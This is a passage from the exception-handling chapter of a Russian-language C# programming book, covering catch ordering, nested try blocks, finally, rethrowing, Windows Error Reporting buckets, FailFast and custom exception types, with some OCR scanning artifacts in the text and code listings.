объекты исключения любых типов, но лишь потому, что компилятор автоматически устанавливает для всех генерируемых им компонен- тов атрибут Runtimecompatibility, который требует, чтобы все объекты исключений с типом, не производным от класса Exception, среда CLR обертывала в объекты типа RuntimeWrappedException. 385
Глава 8 -------------------------------------------------------------------1 В классе Exception также определено свойство InnerException. 0н( часто установлено в null и вступает в игру, когда сбой одной операцш происходит как результат некоторого другого сбоя. В тех случаях, когда исключения возникают глубоко в недрах библиотеки, не имеет смысла разрешать им распространяться до самой вызывающей программы. На пример, платформа .NET предоставляет библиотеку для синтаксическо- го разбора файлов XAML. (Язык XAML (Extensible Application Markuf Language, расширяемый язык разметки приложений) используется мно гими фреймворками пользовательского интерфейса .NET-приложений. Я расскажу о нем в главе 19.) XAML расширяем, потому существует ве роятность того, что ваш код (или, возможно, некоторый сторонний код) будет выполняться как часть процесса загрузки XAML-файла, и в этом коде расширения произойдет сбой — допустим, ошибка в вашем коде приведет к выбрасыванию исключения IndexOutOfRangeException при попытке получить доступ к элементу массива. Если бы такое исключе- ние исходило от API-интерфейса языка XAML, это^1емного сбивало бы с толку, потому вне зависимости от причины сбоя библиотека выбрасы- вает исключение XamlParseException. Это означает, что если вам потре- буется обработать исключение для загрузки XAML-файла, вы будете точно знать, какое именно, но в то же время не потеряются и сведения о причине сбоя: если сбой окажется следствием некоторого другого ис- ключения, его имя будет содержать свойство InnerException. Каждое исключение содержит информацию о том, где оно было) выброшено. Свойство StackTrace предоставляет стек вызовов в виде] строки. Как вы уже видели, обработчик исключений по умолчанию для консольных приложений выводит эту строку. Свойство Targetsite со- общает о том, какой метод выполнялся в момент возникновения исклю- чения*. Оно возвращает экземпляр класса MethodBase API-интерфейса отражения. Подробную информацию об отражении см. в главе 13. Несколько блоков catch За блоком try могут следовать несколько блоков catch. Если выбро- шенному исключению не соответствует первый из них, среда CLR про- веряет следующий, затем следующий за ним и т. д. В листинге 8.5 предо- ставляются обработчики и для исключений типа FileNotFoundException, и для исключений типа lOException. * Из-за изменений в API-интерфейсе отражения это свойство недоступно для .NET- приложений для Windows 8. 386
Исключения Листинг 8.5. Обработка исключений нескольких типов try { using (StreamReader г = new StreamReader(@"C:\Temp\File.txt")) ( while (Ir.EndOfStream) { Console.WriteLine(r.ReadLine()); I } } catch (FileNotFoundException x) { Console.WriteLine("Файл '{0}’ не найден", x.FileName); } catch (lOException x) Console.WriteLine("Ошибка ввода-вывода: '{0}’", x.Message); } Интересной особенностью данного примера является то, что тип FileNotFoundException — производный от типа lOException. Даже если бы я удалил первый блок catch, это исключение по-прежнему обрабаты- валось бы корректно (просто выводилось бы менее конкретное сообще- ние), поскольку блок catch, который обрабатывает базовый тип исклю- чения, среда CLR считает соответствующим исключению. Таким образом, листинг 8.5 содержит два возможных обработчика для исключения FileNotFoundException, и в таких случаях C# требует, чтобы более конкретный обработчик располагался первым. Если бы я поменял обработчики местами, так, чтобы обработчик ис- ключения lOException располагался первым, то для обработчика исклю- чения FileNotFoundException было бы выведено следующее сообщение об ошибке компилятора: error CS0160: A previous catch clause already catches all exceptions of this or of a super type ('System.IO.lOException') (error CS0160; Предыдущее предложение "catch" уже перехватывает все исключения данного типа или супертипа ("System.10.lOException")) 387
Глава 8 Если вы напишете блок catch для базового типа Exception, такой блок | будет перехватывать все исключения. В большинстве случаев подобный ’ подход будет неверным — обычно исключение следует перехватывать! лишь в тоМ случае, если вы можете сделать с ним что-то конкретное и по- лезное. В противном случае вы рискуете замаскировать проблему. Если вы не станете перехватывать исключение, то существует вероятность, что оно доберется до того места, где будет замечено, и рано или поздно про- блема окажется надлежащим образом решена. Единственным случаем, когда использование обработчика, перехватывающего все исключения, имеет смысл, является его использование в месте, откуда исключение может направиться лишь к предоставляемому системой обработчику по умолчанию (для консольного приложения таким местом может являть- ся метод Main, а для многопоточных приложений — код в вершине стека созданного потока). В таком месте, вероятно, будет уместным перехваты- вать все исключения и записывать сведения о проблеме в протокольный файл или аналогичный механизм диагностики. Од^Гко даже запротоко- лировав проблему, вы, возможно, будете вынуждены выбросить исклю- чение повторно, как описывается далее в этой главе. В случае критически важных служб иногда возникает искуше- ние написать код, который подавляет исключения, чтобы при- ложение могло продолжить работу, несмотря на проблемы. Плохая идея. Если исключение произойдет тогда, когда вы его не ожидаете, это может привести к тому, что внутреннее со- стояние приложения перестанет быть надежным, поскольку сбой застанет ваш код в момент выполнения некоторой опе- рации. Если вы не можете допустить, чтобы приложение от- ключалось, лучше будет перезапустить его после сбоя. Служ- бу операционной системы Windows можно сконфигурировать таким образом, чтобы она делала это автоматически; сходной возможностью обладают и службы IIS. Вложенные блоки try Если исключение выбрасывается в блоке try, который не предостав- ляет подходящего обработчика, среда CLR продолжает поиск в других ме- стах. При необходимости она обходит стек вызовов, однако вы можете ис- пользовать несколько наборов обработчиков в одном методе, вкладывая их один в другой, как показано в листинге 8.6. В методе PrintFirstLineLength одна пара блоков try/catch вложена в блок try другой пары. Вложение блоков try возможно и в пределах нескольких методов — метод Main пере- 388
Исключения хватит любое исключение типа NullRef erenceException, исходящее от ме- тода PrintFirstLineLength (исключение такого типа выбрасывается в том случае, когда файл является абсолютно пустым — вызов метода ReadLine возвращает при этом значение null). Листинг 8.6. Вложенная обработка исключений static void Main(string[] args) I try ( PrintFirstLineLength(0"C:\Temp\File.txt"); I catch (NullReferenceException) ( Console.-WriteLine ("NullReferenceException"); 1 ) static void PrintFirstLineLength(string fileName) ( try { / using (vaf r = new StreamReader(fileName)) ( try ( Console.WriteLine(r.ReadLine().Length); } catch (lOException x) { Console.WriteLine("Ошибка при чтении файла: (0)”, х.Message); ) ) I catch (FileNotFoundException x) ( I Console.WriteLine("Файл '(0)' не найден", I x.FileName);
Глава 8 Обработчик исключения lOException здесь вкладывается в другой обработчик, чтобы можно было применить его только к части работы: он имеет дело только с теми ошибками, которые возникают при чтении файла после его успешного открытия. Иногда полезно реагировать на этот сценарий иначе, чем в случае ’ ошибки при открытии файла. Обработка исключений в пределах нескольких методов здесь осу- ществляется несколько сложнее. В принципе, мы могли бы избежать выбрасывания исключения NullReferenceException, проверяя возвра- щаемое значение метода ReadLine на равенство значению null. Однако данный пример иллюстрирует крайне важный базовый механизм среды CLR. Конкретный блок try может определять блоки catch лишь для тех исключений, которые он способен обработать, позволив остальным ис- ключениям перейти на более высокие уровни. Позволить исключениям переходить далее вверуйо стеку часто ока-1 зывается как раз тем подходом, который нужен. Если ваш метод не мо- жет сделать что-нибудь полезное при обнаружении ошибки, ему потре- буется сообщить о наличии проблемы вызывающей программе, поэтому, если только вы не захотите обернуть исключение в исключение другого типа, ему следует позволять переходить далее. Если вы знакомы с языком Java, возможно, у вас возник во- 4 ш прос, есть ли в C# какой-либо эквивалент проверяемым ис- ——1^5 ключениям. Увы, ничего подобного в C# нет. Методы не объяв- ляют выбрасываемые в них исключения формально, поэтому компилятор не имеет никакой возможности сообщить, что вам не удалось обработать исключение, или объявить, что ваш ме- тод может их выбрасывать. Блок try также можно вложить в блок catch. Это полезно в тех слу- чаях, когда существует вероятность сбоя самого обработчика исключе- ния. Например, если он сохраняет информацию об ошибке в протоколь- ном файле на диске, его выполнение закончится сбоем в случае проблем с носителем. Иногда блоки try вообще ничего не перехватывают. Хотя за бло- ком try должно что-то следовать, это не обязательно должен быть блок catch — может быть и блок finally. ________________________________________________________________ 390
Исключения Блоки finally Блок finally содержит код, который запускается после выполнения связанного с ним блока try при любом его исходе. Он работает вне за- висимости от того, был ли блок try выполнен до конца, возвратил ли он управление где-то посередине или выбросил исключение. Блок finally будет выполнен даже в том случае, если для выхода из блока try ис- пользуется инструкция goto. Пример с блоком finally представлен в листинге 8.7. Листинг 8.7. Блок finally using Microsoft.Office.Interop.PowerPoint; [STAThread] static void Main(string[] args) { var pptApp = new Application (); var pres = pptApp.Presentations.Open(args[0]); try { Processslides(pres); ) finally 1 / pres.Close (); I } Это выдержка из написанной мной утилиты для обработки содер- жимого файла PowerPoint. Здесь приведен лишь наружный код; деталь- ный код обработки я опускаю, поскольку в данном случае он не важен (однако если вам интересно, полная версия этого кода экспортирует анимированные слайды как видеоролики.) Я привожу этот код по той причине, что в нем используется блок finally. Для управления при- ложением PowerPoint в данном примере используются возможности COM-взаимодействия (которые мы детально рассмотрим в главе 21). По завершении работы с файлом я закрываю его, и этот код я помещаю в блок finally по той причине, что не хочу оставлять файл открытым, если в процессе выполнения программы что-то пойдет не так. Важность этого обусловлена тем, как действует COM-автоматизация. В отличие от обычного открытия файла, при котором операционная система закры- 391
Глава 8 вает файл при прекращении выполнения процесса, в случае внезапного завершения работы данной программы PowerPoint не закроет файлы - он будет исходить из предположения, что вы хотите оставить их откры- тыми (и это действительно может быть так, например, в случае создания документа для его последующего редактирования пользователем). Я не хочу оставлять файл открытым, и надежным способом избежать этого является закрытие файла в блоке finally. Обычно в подобном случае вы бы написали инструкцию using, однако API-интерфейс СОМ-автомати- зации приложения PowerPoint не поддерживает интерфейс IDisposable платформы .NET. Фактически, как мы видели в предыдущей главе, ин- струкции using работают в терминах блоков finally; также обстоит дело и с циклами foreach; поэтому даже когда вы записываете инструкции using и циклы foreach, вы полагаетесь на механизм блоков finally си- стемы обработки исключений. При вложении блоков finally работают ^йрректно. Если вы- 4 • брасываемое некоторым методом исключение обрабатывает- ——Цл'ся методом, расположенным, скажем, на пять уровней выше в стеке вызовов, и если какие-то из методов между ними нахо- дятся внутри инструкций using, циклов foreach или блоков try с ассоциированными блоками finally, все эти промежуточ- ные блоки finally (как явные, так и неявно сгенерированные компилятором) выполняются до данного обработчика. Обработка исключений, конечно, это еще не все. Ваш код также мо- жет выявлять проблемы, и исключения нередко — подходящий меха- низм для того, чтобы о них сообщить. Выбрасывание исключений Выбрасывание исключения выполняется очень просто. Для этого нужно просто сконструировать объект исключения надлежащего типа и воспользоваться ключевым словом throw. Представленный в листин- ге 8.8 метод делает это в случае, если аргумент равен значению null. Листинг 8.8. Выбрасывание исключения public static int CountCommas(string text) { if (text == null) 392
Исключения { throw new ArgumentNullExceptionC'text"); } return text.Count(ch => ch == Всю необходимую работу за нас делает среда CLR. Она перехва- тывает информацию, которая требуется исключению для того, чтобы оно могло сообщить о своем расположении через такие свойства, как StackTrace и Targetsite. (Среда выполнения не вычисляет окончатель- ные значения данных свойств, поскольку это требует сравнительно больших затрат. Она просто следит, чтобы у исключения имелась ин- формация, позволяющая ему сгенерировать эти значения, если они бу- дут запрошены.) Затем среда выполнения отыскивает подходящий блок try/catch; если необходимо, она также выполняет блоки finally. Повторное выбрасывание исключений Иногда бывает полезно написать блок catch, проделывающий неко- торую работу в ответ на ошибку, но по завершении позволяет исклю- чению перейти дальше. Очевидный, но ошибочный способ сделать это показан в листинге 8.9. Листинг 8.9. Как не следует повторно выбрасывать исключение try z DoSomethingO ; catch (lOException x) I LoglOError(x); // Следующая строка - пример очень ПЛОХОГО кода! throw х; // Не делайте так } Данный код откомпилируется без ошибок и даже будет работать, однако в нем присутствует серьезная проблема: он теряет контекст, в котором исключение имело место изначально. Среда CLR будет об- ращаться с таким исключением как с совершенно новым и сбросит ин- формацию о расположении. При этом свойства StackTrace и Targetsite будут указывать, что исключение возникло внутри вашего блока catch. 393
Глава 8 Это затруднит диагностирование проблемы, поскольку у вас не будет возможности увидеть, где исключение выбрасывалось изначально. Как избежать этой йроблемы, показано в листинге 8.10. Листинг 8.10. Повторное выбрасывание исключения без потери контекста try { DoSomethingO ; } catch (lOException x) { LoglOError(x); throw; ’ ✓ z / Единственное отличие от предыдущего примера (помимо удаления комментариев) состоит в том, что ключевое слово throw здесь использу- ется без указания используемого объекта исключения. Такое разрешает- ся делать только внутри блока catch; при этом повторно выбрасывается любое исключение, которое в данный момент обрабатывает блок catch. Это означает, что свойства типа Exception, сообщающие о расположе- нии исключения, будут по-прежнему указывать на исходное место, а не на то, где выбрасывание производится во второй раз. Немного усложняет положение вещей встроенная служба отчетов об ошибках Windows (WER, Windows Error Reporting). Она вступает в игру при аварийном завершении работы приложения. В зависимо- Ъ сти от того, как сконфигурирована ваша система, выводимое данной службой диалоговое окно может предлагать выполнить перезапуск про- граммы, отправить отчет об ошибке компании Microsoft, произвести от- ладку или просто прекратить выполнение. В дополнение к этому при сбое в приложении Windows данная служба перехватывает несколько фрагментов информации, позволяющих идентифицировать место воз- никновения сбоя. В случае .NET-приложений это имя, версия, времен- ная метка компонента, в котором произошел сбой, и тип выброшенного исключения. Служба идентифицирует не только метод, но и смещение в его IL-коде, указывающее место выбрасывания исключения. Эти фраг- менты данных иногда называют значениями сегмента. Если у приложе- ния дважды возникнет сбой с одними и теми же значениями, такие два сбоя будут относиться к одному и тому же сегменту, то есть в некотором смысле они станут расцениваться как один и тот же сбой. 394
Исключения Значения сегмента сбоя не экспонируются как открытые свойства исключений, однако их можно увидеть в журнале регистрации событий Windows. В приложении Просмотр событий (Event Viewer) соответ- ствующие записи журнала регистрации отображаются в разделе Прило- жение (Application) категории Журналы Windows (Windows Logs); эти записи содержат, соответственно, значения «Windows Error Reporting» и 1001 в столбцах Источник (Source) и Код события (Event ID). Служба отчетов об ошибках сообщает о различных видах сбоев, поэтому если вы откроете соответствующую запись журнала, она будет содержать значе- ние Имя события (Event Name). В случае сбоев .NET-приложений это значение равно CLR20r3. Кроме того, вы легко заметите имя и версию ' сборки, а также тип исключения. Сведения о методе найти несколько сложнее: они находятся в строке с заголовком Р7; однако это лишь чис- ло, зависящее от ключа метаданных метода. Если вам нужно узнать, на какой именно метод указывает значение, поставляемая вместе с Visual Studio утилита ILDASM обладает параметром командной строки, по- зволяющим вывести все ключи метаданных всех методов. Компьютер может быть сконфигурирован таким образом, чтобы ин- формация о сбоях отправлялась на сервер службы отчетов об ошибках, и обычно при этом отсылаются только значения сегмента, хотя отдельно могут быть запрошены и дополнительные данные. Анализ сегментов по- лезен для принятия решения о том, в какой последовательности нужно ис- правлять ошибки: начать следует с наибольшего сегмента, поскольку это сбой, с которр/м пользователи сталкиваются наиболее часто. (По крайней мере, те из них, что не отключили службу отчетов об ошибках. Я никогда не отключаю ее на своих машинах, поскольку хочу, чтобы ошибки, с которыми я сталкиваюсь в моих программах, были исправлены в первую очередь.) Способ получения доступа к аккумулированным данным сег- мента сбоя зависит от вида создаваемого вами приложения. Для бизнес-приложения, которое запускается только в пре- делах вашего предприятия, вероятно, будет лучше иметь соб- ственный сервер службы отчетов об ошибках, однако если приложение используется за пределами вашего администра- тивного контроля, лучше подойдут серверы службы отчетов об ошибках компании Microsoft. Вам потребуется пройти осно- ванный на сертификатах процесс верификации того, что вы имеете право на получение этих данных, после чего компания Microsoft предоставит вам сведения обо всех известных сбоях ваших приложений, отсортированных по величине сегмента. 395
Глава 8 Некоторые тактики обработки исключений могут создавать препят- ствия системы сегментирования сбоев. Если написать общий код для обработки ошибок, который будет задействован при обработке всех ис- ключений, существует опасность, что служба отчетов об ошибках по- считает, что сбои вашего приложения могут происходить только внутри этого общего обработчика, в результате чего сбои всех типов будут отне- сены в один и тот же сегмент. Это не неизбежно, однако чтобы избежать подобного, вам потребуется понять, как ваш код обработки исключений влияет на данные сегментирования сбоев службы отчетов об ошибках. Если исключение поднимется в вершину стека, не будучи обрабо- танным, служба отчетов об ошибках получит точную картину того, где именно произошел сбой, однако если вы перехватите исключение до того, как позволить ему (или некоторому другому исключению) про- должить движение вверх по стеку, возможны проблемы. При этом по- ведение зависит от используемой версии .NET. До .N^T 4.0 при повтор- ном выбрасывании исключения с применением подхода, показанного в листинге 8.10, сохранялись только данные об исходном расположении для значений сегмента службы отчетов об ошибках; при использовании нерекомендуемого подхода, показанного в листинге 8.9, терялись и эти данные. Что кажется немного удивительным, в версиях .NET 4.0 и .NET 4.5 данные о расположении для службы отчетов об ошибках сохраняют- ся в обоих случаях. (С точки зрения .NET-кода, в листинге 8.9 теряется контекст исключения при использовании любой версии .NET — свойство StackTrace указывает на место повторного выбрасывания исключения. Поэтому в .NET 4.0 и выше служба отчетов об ошибках не обязательно будет сообщать о том же месте сбоя, которое увидит .NET-код в объек- те исключения.) Аналогичным образом обстоит и ситуация с оберты- ванием исключения в свойство InnerException нового исключения. До версии .NET 4.0 служба отчетов об ошибках использовала для значений сегмента место выбрасывания внешнего исключения, однако в версиях 4.0 и 4.5, если у вызвавшего сбой исключения свойство InnerException не равно null, то для сегмента сбоя используется место выбрасывания этого внутреннего исключения. Сказанное означает, что в .NET 4.0 и выше сравнительно легко со- хранить данные сегмента службы отчетов об ошибках. Исходный кон- текст потеряется лишь в том случае, если вы станете выполнять пол- ную обработку исключения (без аварийного завершения) или напишете блок catch, который после обработки исключения будет выбрасывать новое исключение, не передавая ему исходное в качестве свойства 396
Исключения InnerException. Однако если по какой-либо причине вам потребуется использовать более старую версию .NET, вам нужно будет соблюдать большую осторожность; показанный в листинге 8.9 нерекомендуемый подход в этом случае означает потерю контекста и для .NET-кода, и для службы отчетов об ошибках. И хотя выбрасывание нового исключения с обертыванием исходного в свойство InnerException способно обеспе- чить доступ ко всему стеку вызовов с .NET-перспективы, служба отче- тов об ошибках увидит при этом только место выбрасывания внешнего исключения. Описанное выше поведение характерно для версий, предше- 4 й ствующих .NET 4.0, используемых в системе, где установлены —1-3?' все доступные на момент написания книги обновления и паке- ты исправлений. Некоторые сайть1 и книги, напротив, утверж- дают, что служба отчетов об ошибках не получит данные об исходном расположении ошибки даже при использовании подхода, показанного в листинге 8.10. Это утверждение, воз- можно, и было верным для исходной версии .NET 2.0, однако после применения доступных на сегодняшний денй пакетов исправлений, оно уже не является таковым. Потому следует иметь в виду, что подобные детали могут варьироваться. Хотя код из листинга 8.10 сохраняет исходный контекст, данный подход все же обладает ограничением: он позволяет повторно выбрасы- вать исключениеуголько из того же блока, в котором вы его перехвати- ли. А так как вЛтоследнее время распространение получает асинхрон- ное программирование, исключения все чаще происходят в случайном рабочем потоке. Потому нам требуется надежный способ, который бы позволял перехватывать полный контекст исключения, и затем через произвольный промежуток времени повторно выбрасывать исключение х этим полным контекстом, возможно, из другого потока. .NET 4.5 вводит новый класс, ExceptionDispatchlnfo, который по- зволяет решить эти проблемы. Если вызвать из блока catch статиче- ский метод Capture данного класса, передав ему текущее исключение, он перехватит полный контекст, включая информацию, необходимую службе отчетов об ошибках. Метод Capture возвращает экземпляр клас- са ExceptionDispatchlnfo. Когда вы будете готовы к повторному выбра- сыванию исключения, вы можете вызвать метод Throw этого объекта, и среда CLR повторно выбросит исключение, сохранив без изменений исходный контекст. В отличие от подхода, представленного в листин- 397
Глава 8 re 8.10, при этом не обязательно находиться внутри блока catch. Не обя- зательно даже быть в том же потоке, откуда выбрасывалось исходное исключение. Быстрое прекращение выполнения в случае ошибки Некоторые ситуации требуют очень быстрых ответных действий. Если вы обнаружите, что сбой приложения не оставляет никакой надеж- ды вернуть его в нормальное состояние, то, возможно, будет недостаточ- но только лишь выбросить исключение, поскольку при этом существует вероятность, что некоторый код обработает исключение и попытается продолжить работу. Подобное угрожает выходом из устойчивого со- стояния — например, проблемы с памятью могут привести к тому, что ваша программа запишет неверную информацию в базу данных. Поэто- му, возможно, имеет смысл прекратить выполнение др того, как будет нанесен какой-либо серьезный ущерб. / Класс Environment предоставляет метод FailFast. При его вызове сре- да CLR записывает сообщение в журнал регистрации событий Windows, после чего прекращает выполнение приложения, предоставив подроб- ности службе отчетов об ошибках Windows. Методу FailFast можно передать строку для включения в запись журнала регистрации событий, а такжеМсключение; в этом случае в журнал регистрации событий будут помещены данные исключения, включая значения сегмента службы от- четов об ошибках для точки, в которой было выброшено исключение. Типы исключений Когда вы выявляете проблему и выбрасываете исключение, вам нужно выбрать его тип. Хотя у вас есть возможность определить и соб- ственные типы исключений, в библиотеке классов платформы .NET Framework уже определено достаточно большое их количество, поэто- му во многих случаях можно просто выбрать имеющийся. Существуют сотни типов исключений, так что приводить здесь их полный список не имеет смысла; если вы захотите с ним ознакомиться, откройте в он- лайновой документации список производных типов класса Exception. Впрочем, о некоторых из них все же вы должны знать. В библиотеке классов определен класс ArgumentException, являю- щийся базовым для ряда исключений, сообщающих о том, что метод 398
Исключения был вызван с передачей некорректных аргументов. В листинге 8.8 ис- Ьользовалось исключение ArgumentNullExeeption, а кроме того, суще- ствует исключение ArgumentOutOfRangeException. В базовом классе ArgumentException определено свойство ParamName, содержащее имя па- раметра, для которого был предоставлен некорректный аргумент. Это йажно для методов, принимающих несколько аргументов, поскольку к таком случае вызывающей программе необходимо знать, какой из них был некорректным. Все эти исключения обладают конструктором, по- зволяющим указать имя параметра; пример использования такого кон- структора приведен в листинге 8.8. Базовый класс ArgumentException является конкретным классом, поэтому если тот вид ошибки в предо- ставлении аргумента, с которым вы имеете дело, не отражен ни в одном из производных типов, можно просто выбросить базовое исключение, снабдив его текстовым описанием проблемы. Помимо названных выше универсальных типов, некоторые API-интерфейсы определяют более специализированные производные исключения аргументов. Например, в пространстве имен System.Globalization определен производный от ArgumentException тип CultureNotFoundException. Вы тоже можете так поступать, и для этого есть две причины. Если вы хотите предоставить дополнительную информацию о том, почему аргумент является некор- ректным, вам нужно использовать пользовательский тип исключения, чтобы прикрепить эту информацию. (Тип CultureNotFoundException предоставляет три свойства, описывающие аспекты информации о язы- ке и региональных параметрах, поиск которой осуществлялся.) Другой повод для определения собственного типа состоит в том, что конкрет- ный вид ошибки в г^едоставлении аргумента может особым образом обрабатываться вызывающей программой. Исключение аргумента ча- сто просто сообщает о программной ошибке, однако в ситуации, когда оно указывает на проблему окружения или конфигурации (например, на необходимость установки определенных языковых пакетов), разра- ботчик может обработать эту конкретную проблему иначе. В таком слу- чае нельзя использовать исключение базового типа ArgumentException, поскольку тогда будет трудно отличить конкретный вид сбоя, который требуется обработать иначе, от любой другой проблемы с предоставле- нием аргументов. Случается, что методы делают работу, где происходит несколько ви- дов ошибок. Например, если во время выполнения некоторого пакетного задания произойдут сбои в отдельных составляющих, возможно, вы за- хотите прекратить их, но продолжить работу остальных и предоставить информацию обо всех сбоях в самом конце. На случай такого сценария 399
Глава 8 полезно знать о типе AggregateException. Данный тип расширяет кон- цепцию свойства InnerException базового типа Exception, добавляя свой- ство InnerExceptions, возвращающее коллекцию исключений. Еще од- ним широко используемым типом является InvalidOperationException. Это исключение выбрасывается в том случае, если кто-то пытается сде- лать с вашим объектом нечто, чего он не поддерживает в своем текущем состоянии. Например, допустим, вы написали класс, представляющий запрос для отсылки на сервер. Вы можете разработать его таким об- разом, чтобы каждый экземпляр использовался только один раз; при этом попытка модифицировать уже отосланный запрос будет ошибкой, при которой окажется уместно исключение InvalidOperationException. Другой важный пример представляет ситуация, когда ваш тип реали- зует интерфейс IDisposable, и кто-то пытается использовать экземпляр уже после его удаления. Такое случается нередко, поэтому в библиотеке классов определен специальный тип ObjectDisposedException, произво- дный от типа InvalidOperationException. Вам следует знать об отличии типа Notlmplemen^dException от типа NotSupportedException, который, несмотря на сходное имя, облада- ет другой семантикой. Второй тип должен выбрасываться, когда того требует интерфейс. Например, интерфейс IList<T> определяет методы для модификации коллекций, но не требует, чтобы они были модифи- цируемыми, — вместо этого он предписывает, чтобы коллекции только для чтения выбрасывали исключение NotSupportedException из членов, которые будут модифицировать коллекцию. Реадйзация интерфейса IList<T> может выбрасывать данное исключение и считаться при этом полной, в то время как исключение NotlmplementedException означает, что в реализации чего-то не хватает. Наиболее часто это исключение будет встречаться вам в коде, генерируемом средой разработки Visual Studio. Когда вы просите среду Visual Studio сгенерировать реализацию интерфейса или предоставить обработчик событий, она может создавать методы-заглушки. Она генерирует этот код, чтобы избавить вас от необ- ходимости печатать все объявление метода вручную, однако реализовы- вать тело метода по-прежнему должны вы. Потому Visual Studio часто предоставляет метод, который выбрасывает такое исключение, чтобы вы ненамеренно не оставили его пустым. Обычно до выполнения поставки требуется удалить весь код, вы- брасывающий исключение NotlmplementedException, заменив его надле- жащими реализациями. Однако в некоторых ситуациях вам, возможно, нужно будет оставить их на месте. Предположим, вы написали библио- 400 —
Исключения теку, содержащую абстрактный базовый класс, и ваши клиенты создают классы, наследующие от него. В новых версиях библиотеки вы можете добавить в этот базовый класс ряд новых методов. Теперь допустим, что вы хотите расширить библиотеку за счет новой возможности, для реали- зации которой, как вам кажется, будет иметь смысл добавить в базовый класс новый абстрактный метод. Это окажется критическим изменени- ем - существующий код, который успешно наследует от старой версии класса, перестанет работать. Вы можете избежать этой проблемы, создав вместо абстрактного метода виртуальный, — но что если вы не сможе- те предоставить сколько-нибудь полезную реализацию по умолчанию? В этом случае можно написать базовую реализацию, выбрасывающую исключение NotlmplementedException. Код, который был надстроен над старой версией библиотеки, не будет использовать новую возможность, поэтому не предпримет никаких попыток вызвать данный метод. Одна- ко если кто-либо из клиентов попытается использовать новую возмож- ность библиотеки, не переопределив этот метод в своем классе, будет выброшено данное исключение. Иными словами, это помогает обеспе- чить соблюдение требования вида «вы должны переопределить метод, если и только если вы хотите использовать представленную rfM возмож- ность». Существуют, конечно, и другие, более специализированные встро- енные исключения, и всегда следует стараться найти среди них наибо- лее точно соответствующее вашей проблеме. Однако в ряде случаев вам потребуется сообщить об ошибке, для которой библиотека классов не предоставляет^Подходящего исключения. В таком случае вам нужно бу- дет написать собственный класс исключения. Пользовательские исключения Минимальное требование к пользовательскому типу исключения состоит в том, чтобы он в конечном счете был производным от типа Exception; однако, помимо этого, существуют и некоторые рекоменда- ции по разработке. Первое, на что следует обратить внимание, — это ба- зовый класс. Если вы взглянете на встроенные типы исключений, вы за- метите, что многие из них наследуют от типа Exception только косвенно, через типы ApplicationException и SystemException. Этих типов следу- ет избегать. Они были введены изначально с целью провести различие между исключениями, выбрасываемыми приложениями, и исключе- ниями, выбрасываемыми платформой .NET Framework. Однако на деле 401
Глава 8 данное различие оказалось малополезным. Некоторые исключения мог ли в различных сценариях выбрасываться и приложениями, и платфор мой; по крайней мере, обычно было неудобно писать обработчик, пере- хватывающий исключения приложений, но не системные исключена или наоборот. В настоящее время рекомендации по разработке библш тек классов советуют избегать этих двух базовых типов. Пользовател] ские классы исключений обычно наследуют непосредственно от клаа Exception, кроме того случая, когда они представляют специализирован ную форму некоторого существующего исключения. Например, мы уж< видели, что исключение ObjectDisposedException представляет собой особый случай исключения InvalidOperationException, и в библиотеке классов определено еще несколько специализированных юйссов, на- следующих от этого базового, таких как ProtocolViolationException для кода, обеспечивающего сетевое взаимодействие. Если проблема, о кото- рой вы хотите сообщить из своего кода, однозначно является примером какого-то существующего типа исключения, но, как вам кажется, все же будет полезно определить более специализированный тип, то следует создать тип, производный от существующего. / Хотя базовый класс Exception обладает конструктором без параме- тров, использовать его, как правило, не следует. Исключения должны предоставлять полезное текстовое описание ошибки, поэтому все кон- структоры ваших пользовательских исключений должны вызывать один из тех конструкторов класса Exception, которые принимают строку. Вы мржете либо жестко задать строку сообщения*^ 6 коде вашего произво- дного класса, либо определить конструктор, который принимает текст сообщения и передает его базовому классу; типы исключений часто предоставляют и то, и другое, однако если ваш код будет использовать только один из конструкторов, это, возможно, окажется напрасной тра- той усилий, в зависимости от того, будет ли исключение выбрасываться только вашим, или каким-либо еще кодом. Также довольно часто предо- ставляется конструктор, принимающий другое исключение, которое ста- новится значением свойства InnerException. Опять же, если вы создаете исключение, чтобы использовать его только в своем коде, то нет смысла добавлять этот конструктор до того, как в нем возникнет необходимость; • Вместо использования жестко заданной строки также можно подумать о вы- боре локализованной строки с применением возможностей пространства имен System. Resources. Такое могут делать все типы исключений из библиотеки классов .NET Framework. Это не обязательно, поскольку не все программы используются в различных регионах, а у тех, которые используются, сообщения исключений могут не показываться конечному пользователю. 402 Z3
Исключения с другой стороны, для исключения^ входящего в состав повторно исполь- зуемой библиотеки, такой конструктор является достаточно распростра- ненной возможностью. Листинг 8.11 демонстрирует гипотетический пример исключения с несколькими конструкторами вместе с перечисли- мым типом, который используется добавленным в этом типе свойством. Листинг 8.11. Пользовательское исключение public class DeviceNotReadyException : InvalidOperationException { public DeviceNotReadyException(Devicestatus status) : this("Устройство должно находиться в состоянии Ready", status) ( } public DeviceNotReadyException(string message, Devicestatus status) : base(message) { Status = status; ' } public DeviceNotReadyException(string message, Devicestatus status, Exception innerException) : base(message, innerException) ( Status A status; л } public Devicestatus Status { get; private set; } 1 public enum Devicestatus { Disconnected, Initializing, Failed, Ready } Оправданием для использования здесь пользовательского исклю- чения является то, что в случае этой конкретной ошибки оно может сказать нам что-то еще помимо того факта, что нечто находилось в не- надлежащем состоянии. Оно предоставляет информацию о состоянии объекта в момент сбоя операции. 403
Глава 8 Хотя в листинге 8.11 представлен типичный пример пользователь- ского типа исключения, формально ему кое-чего не достает. Если вы взглянете на базовый тип Exception, то увидите, что он реализует ин- терфейс ISe'rializable и помечен атрибутом [Serializable]. Это специ- альный атрибут, распознающийся средой выполнения: он дает CLR раз- решение преобразовать объект в поток байтов, который впоследствии можно будет превратить обратно в объект, возможно, уже в другом процессе или даже на другой машине. Хотя среда выполнения способ- на выполнять такие преобразования полностью автоматически, интер- фейс ISerializable позволяет объектам модифицировать этот процесс/ Рекомендации по разработке библиотек классов .NET Framework советуют, чтобы исключения были сериализуемыми. Это позволяет им переходить из одного домена приложения в другой. Домен приложения представляет собой изолированный контекст выполнения. Программы, которые выполняются в отдельных процессах, всегда/находятся в от- дельных доменах приложений, однако один процесс можно разделить на несколько доменов. При этом фатальный сбой, приводящий к пре- кращению выполнения одного домена приложения, не остановит весь процесс. Домены приложений также обеспечивают границы безопасно- сти, не позволяющие коду из одного домена получать и использовать прямую ссылку на объект в другом, даже если эти домены находятся в одном и том же процессе. Некоторые системы хостинга приложений, такие как веб-фреймворк ASP.NET (о котором будет рассказано в гла- ве 20), способны использовать домены для размещения нескольких при- ложений в одном процессе с сохранением их изолированности друг от друга. Если вы сделаете исключение сериализуемым, это позволит ему пересекать границы доменов приложений — хотя напрямую использо- вать объект из другого домена 